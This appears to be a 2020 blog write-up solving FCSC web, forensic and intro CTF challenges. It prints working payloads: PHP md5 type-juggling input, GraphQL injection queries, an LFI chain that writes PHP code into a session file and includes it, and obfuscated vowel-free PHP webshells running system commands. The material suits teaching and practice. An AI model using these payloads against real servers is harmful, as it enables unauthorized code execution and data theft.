FCSC - CTF Writeup

FCSC - FRANCE CYBERSECURITY CHALLENGE 2020

Some writeups of severals web challenges from the FCSC 2020.

https://www.ssi.gouv.fr/uploads/2020/03/2020-fcsc-logo.jpg

Challenges’ Writeup

WEB - EnterTheDungeon

The source code of the check_secret.php is given at view-source:challenges2.france-cybersecurity-challenge.fr:5002/check_secret.txt. The following code is stripped to keep only the interesting part.

<?php
	session_start();
	$_SESSION['dungeon_master'] = 0;
?>
<?php
	include('./ecsc.txt');
	echo chr(10).'</pre>';
	// authentication is replaced by an impossible test

	//if(md5($_GET['secret']) == "a5de2c87ba651432365a5efd928ee8f2")

	if(md5($_GET['secret']) == $_GET['secret'])
	{
		$_SESSION['dungeon_master'] = 1;
		echo "Secret is correct, welcome Master ! You can now enter the dungeon";
	}
?>

We can clearly see it is about PHP Type Juggling since we are comparing md5($_GET['secret']) with its value.

In PHP a value starting with 0e and followed by numbers is considered as a float, and some MD5(value) will also result in 0e[0-9]{30}. The comparison will then occured on two float numbers, since the code is using == instead of ===, PHP will only check the object type and not the value.

We can validate the challenge using the value 0e1137126905 : http://challenges2.france-cybersecurity-challenge.fr:5002/check_secret.php?secret=0e1137126905

Flag: FCSC{f67aaeb3b15152b216cb1addbf0236c66f9d81c4487c4db813c1de8603bb2b5b}

WEB - Rainbow Pages

This challenge is a basic GraphQL injection, first we see a request is made to http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search=[BASE64].

Since most of the tools doesn’t allow to interact with base64 I opted to build to simple proxy in Python using Flask.

from flask import Flask
from flask import request
import requests
app = Flask(__name__)

@app.route("/graphql", methods=['GET'])
def graphql():
    print(request)
    query = request.args.get('query')
    url = "http://challenges2.france-cybersecurity-challenge.fr:5006/index.php?search="
    data = requests.get(url + query.encode("base64")).text
    return data

if __name__ == '__main__':
      app.run(host='0.0.0.0', port=4646)

Now every request fired to /graphl?query=[SOMETHING] will be “converted” for the challenge, and the result will be displayed in the page. We can now use every tools to ease our work, I like to use Altair as it’s really beautiful :)

GraphQL

We can send the instrospection query in order to discover the schema of the GraphQL : https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/GraphQL%20Injection#enumerate-database-schema-via-introspection.

It looks like that, once converted : CLICK ME also Altair provide a simple listing of the “object” and can build a query for you.

From there it was easy to click on the “Altair Button” to ask for the flag :P

GraphQL

WEB - Rainbow Pages v2

Another iteration of the GraphQL challenge available at http://challenges2.france-cybersecurity-challenge.fr:5007/. We can reuse our python proxy.

It appears we were inside a query instead of sending the full query like in the 1st challenge. Let’s fuzz the input to see if we can trigger some errors to help understand where we are injecting.

Fuzzing GraphQL input

The blockstring """ helps us discover part of the query, we are inside a weird filter like the following request.

{
  Movie(filter: { OR: [{ year_lt: 1920 }, { title_contains: "River Runs" }] }) {
    title
  }
}

Now we can try to recreate the end of the query, and add our evil payload. At first I tried to replicate a GraphQL query using OR in the previous challenge thanks to the proxy.

GraphQL Filter

Then we can try to request the flag, however it is not labelled like the other challenge, but the errors are quite straightforward and will suggest the correct name.

Isaac%"}}, {lastname: {like: "%barton%"}}]}) {      nodes { firstname, lastname, speciality, price      }   }   __schema{types{name}}}#

GraphQL Suggest

Now let’s get the flag !

Isaac%"}}, {lastname: {like: "%barton%"}}]}) {      nodes { firstname, lastname, speciality, price      }   }  flagNotTheSameTableNameById(id: 1){flagNotTheSameFieldName}}#

GraphQL

WEB - Revision

Once again the source code is provided, we have to upload two files but they must have the same SHA1 hashes.

    attachments = set([f1_hash, f2_hash])
    # Debug debug...
    if len(attachments) < 2:
        raise StoreError([f1_hash, f2_hash], self._get_flag())

def _get_flag(self):
    with open('flag.txt', 'r') as f:
        flag = f.read()
    return flag

We find two files with a SHA1 collisions on Corkami’s Github:

  • https://github.com/corkami/collisions/blob/master/examples/dualjpg1.pdf
  • https://github.com/corkami/collisions/blob/master/examples/dualjpg2.pdf

FCSC{8f95b0fc1a793e102a65bae9c473e9a3c2893cf083a539636b082605c40c00c1}

WEB - Bestiary

Bestiary was a classic Local File Inclusion, abusing the session to execute arbitrary commands on the server.

First we can grab the source code by using a PHP filter : challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=php://filter/convert.iconv.utf-8.utf-16/resource=index.php. It will be displayed as UTF16 thus not being interpreted as a PHP code. Here is a curated extract of the code.

<?php
	session_save_path("./sessions/");
	session_start();
	include_once('flag.php');   // <------------------------------------ the flag is inside this

?>
    [...]
	$monster = NULL;

	if(isset($_SESSION['monster']) && !empty($_SESSION['monster']))
		$monster = $_SESSION['monster'];
	if(isset($_GET['monster']) && !empty($_GET['monster']))
	{
		$monster = $_GET['monster'];
		$_SESSION['monster'] = $monster;
	}

	if($monster !== NULL && strpos($monster, "flag") === False)
		include($monster);      // <-------------------------------------- vulnerability is here
	else
		echo "Select a monster to read his description.";
?>

We want to include the content of flag.php and bypass the filter strpos($monster, "flag") which denies us to directly use our wrapper to access flag.php.

The PHP code is changing the default path to save temporary file used to store PHP sessions. In PHP when you have a cookie PHP_SESSID=3ba53bc0ae7fea081347b3f1f8cf0c41 there is a file named sessions/sess_3ba53bc0ae7fea081347b3f1f8cf0c41 containing a “serialized” version of the cookie.

  1. First we need to put our payload inside our session file : http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=<?php%20echo%20file_get_contents(%27fl%27.%27ag.php%27);%20?>.
  2. Then we include our session file http://challenges2.france-cybersecurity-challenge.fr:5004/index.php?monster=/var/www/html/sessions/sess_3ba53bc0ae7fea081347b3f1f8cf0c41

LFI

$flag=”FCSC{83f5d0d1a3c9c82da282994e348ef49949ea4977c526634960f44b0380785622}”;

WEB - Lipogramme

We have the following source code, which implement a filter to limit the code executed on the server.

<?php
    if (isset($_GET['code'])) {
        $code = substr($_GET['code'], 0, 250);
        if (preg_match('/a|e|i|o|u|y|[0-9]/i', $code)) {
            die('No way! Go away!');
        } else {
            try {
                eval($code);
            } catch (ParseError $e) {
                die('No way! Go away!');
            }
        }
    } else {
        show_source(__FILE__);
    }

We have to create a web shell PHP using only special characters, many webshell like that can be found on Github.

/?_=system&__=ls%20-ailh&code=%24_%3D%27%24<>%2F%27%5E%27%7B%7B%7B%7B%27%3B%24%7B%24_%7D%5B_%5D%28%24%7B%24_%7D%5B__%5D%29%3B
/?_=system&__=cat+.f*&code=$_='{';$_=($_^'<').($_^'>;').($_^'/');${'_'.$_}['_'](${'_'.$_}['__']); 

Then we execute the commands ls -a and cat .f* to bypass the filter and read the flag.

FCSC{53d195522a15aa0ce67954dc1de7c5063174a721ee5aa924a4b9b15ba1ab6948}

WEB - Flag Checker

A simple web asm binary where you could guess the flag cipher. http://challenges2.france-cybersecurity-challenge.fr:5005/index.js

We can find a reference to index.wasm in the Javascript.

var wasmBinaryFile = "index.wasm";
if (!isDataURI(wasmBinaryFile)) {
    wasmBinaryFile = locateFile(wasmBinaryFile)
}

We can find the flag since the format is starting by FCSC.

a='FE@P@x4f1g7f6ab:42`1g:f:7763133;e0e;03`6661`bee0:33fg732;b6fea44be34g0~'
for c in a:
    print(chr(ord('\x03')^ord(i)))

FCSC{7e2d4e5ba971c2d9e944502008f3f830c5552caff3900ed4018a5efb77af07d3}

Forensic - Petite frappe 2

import re, sys
from subprocess import *

def get_keymap():
    keymap = {}
    table = Popen(['xmodmap', '-pke'], stdout=PIPE).stdout
    for line in table:
        m = re.match('keycode +(\d+) = (.+)', line.decode())
        if m and m.groups()[1]:
            keymap[str(m.groups()[0])] = m.groups()[1].split()[0]
    return keymap

flag = ""
keymap = get_keymap()
with open('petite_frappe_2.txt', 'r') as f:
    data = f.readlines()
    for line in data:
        m = re.match('key press +(\d+)', line.decode())
        if m:
            key = keymap[m.groups()[0]]
            if key == "space":
                flag += " "
            elif key == "underscore":
                flag += "_"
            else:
                flag += key

print(flag)

FCSC{un_clavier_azerty_en_vaut_deux}

Intro - Babel

A simple web intro were we could execute arbitrary commands : view-source:challenges2.france-cybersecurity-challenge.fr:5001/?code=cat%20flag.php.

<?php
    if (isset($_GET['source'])) {
        @show_source(__FILE__);
    }  else if(isset($_GET['code'])) {
        print("<pre>");
        @system($_GET['code']);
        print("<pre>");
    } else {
?>

Intro - SuSHi

The flag was in a hidden file .flag.

ssh -p 6000 ctf@challenges2.france-cybersecurity-challenge.fr 
 __    __            _                 __           _     _   ___ 
/ / /\ \ \__ _ _ __ | |_      __ _    / _\_   _ ___| |__ (_) / _ \
\ \/  \/ / _` | '_ \| __|    / _` |   \ \| | | / __| '_ \| | \// /
 \  /\  / (_| | | | | |_    | (_| |   _\ \ |_| \__ \ | | | |   \/ 
  \/  \/ \__,_|_| |_|\__|    \__,_|   \__/\__,_|___/_| |_|_|   () 
ctf@SuSHi:~$ id
uid=999(ctf) gid=999(ctf) groups=999(ctf)
ctf@SuSHi:~$ ls
ctf@SuSHi:~$ ls -a
.  ..  .bash_logout  .bashrc  .flag  .profile
ctf@SuSHi:~$ cat .flag
FCSC{ca10e42620c4e3be1b9d63eb31c9e8ffe60ea788d3f4a8ae4abeac3dccdf5b21}

Intro - Tarte Tatin

Using a simple decompiler such as Ghidra or IDA will give us a “pseudo” code like .

iVar1 = memcmp(local_38,pass_enc,0x10);
if (iVar1 == 0) {
    transform(flag_enc);
    puts(flag_enc);
}
...
void transform(char *param_1)
{
  char *pcVar1;
  char *local_10;
  
  local_10 = param_1;
  do {
    pcVar1 = local_10 + 1;
    *local_10 = *local_10 + '\x01';
    local_10 = pcVar1;
  } while (*pcVar1 != '\0');
  return;
}

The transform method is simple caesar cipher, we can grab the flag_enc and decrypt it .

cat flag_enc | grep db | cut -d "'" -f2 | tr -d "\n"
Vdkk.cnmd .Sgd.ek`f.hr9.EBRBz72e30320b000/51c//2cc/102be713c55e66/`/ad02/4d1702e04cc654/2`80c|..NzTfdvs4Q4ttx1se%       

A basic cesar -1 python code.

a="Vdkk.cnmd .Sgd.ek`f.hr9.EBRBz72e30320b000/51c//2cc/102be713c55e66/`/ad02/4d1702e04cc654/2`80c|..NzTfdvs4Q4ttx1se"

secret = ""
for c in a:
    secret += (chr(ord(c)-0x1))
print(secret)
$ ./TarteTatin
MySecur3P3ssw0rd
Well done! The flag is: FCSC{83f41431c111062d003dd0213cf824d66f770a0be1305e2813f15dd76503a91d}

Intro - Le Rat Conteur

The task is giving us the key, the cipher and the IV. We only need to use them.

openssl enc -aes-128-ctr -d -in flag.jpg.enc -pass "\x00\x11\x22\x33\x44\x55\x66\x77\x88\x99\xaa\xbb\xcc\xdd\xee\xff" -iv "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

aes

Intro - Sbox

A very simple “cryptographic” challenge where you only have to follow the boxes

sbox

The following truth tables will help

bool1

We can reproduce the logic in Python

x3 = 1
x2 = 0
x1 = 1
x0 = 0
y3 = x0 ^ (not(x3 | x2))
y2 = x3 ^ (not(x2 | x1))
y1 = x2 ^ (not(y3 | x1))
y0 = x1 ^ (not(y3 | y2))
(y3, y2, y1, y0)

FCSC{0101}

Written on April 26, 2020